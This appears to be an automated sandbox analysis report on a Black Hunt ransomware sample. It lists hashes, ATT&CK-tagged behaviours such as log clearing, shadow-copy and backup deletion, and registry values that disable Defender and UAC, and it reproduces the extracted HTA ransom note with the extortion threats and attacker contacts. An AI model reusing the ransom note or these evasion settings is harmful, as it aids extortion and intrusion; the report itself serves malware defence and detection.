36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4

Analysis

max time kernel
121s
max time network
159s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:00

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General

Target

36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
Size

707KB
MD5

1161a3593c07cbf0a5def9c504a7f4db
SHA1

1feef658897de75aad7470c85ef20457bad087a5
SHA256

36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4
SHA512

0812abec6709a8925a8ceedb29eeecb4f2ce37cb1c646cee5d46b221a465849313cb5c9d793b044998599ec4b9c32326eaf8a0b2e21261e672d77db03915fdec
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1t8hvnh:6uaTmkZJ+naie5OTamgEoKxLWo1h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 3LbX1naSWUTzMIBj </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2412	fsutil.exe
1684	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1808	wevtutil.exe
2948	wevtutil.exe
588	wevtutil.exe
2156	wevtutil.exe
2876	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2888	bcdedit.exe
2004	bcdedit.exe
3040	bcdedit.exe
956	bcdedit.exe

Renames multiple (107) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2604	wbadmin.exe
2636	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2728	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\U:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\O:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\P:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\R:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\A:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\V:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\N:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\K:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Q:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\H:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\J:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\E:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\Y:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\G:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\L:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\M:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\B:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\I:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\S:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\Z:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\X:	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\#BlackHunt_ReadMe.hta	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gl.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\it.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sv.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\#BlackHunt_ReadMe.hta	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\br.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\descript.ion	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\7-zip.chm	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lt.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mr.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\#BlackHunt_ReadMe.hta	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\7-Zip\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tk.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\DVD Maker\Eurosti.TTF	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
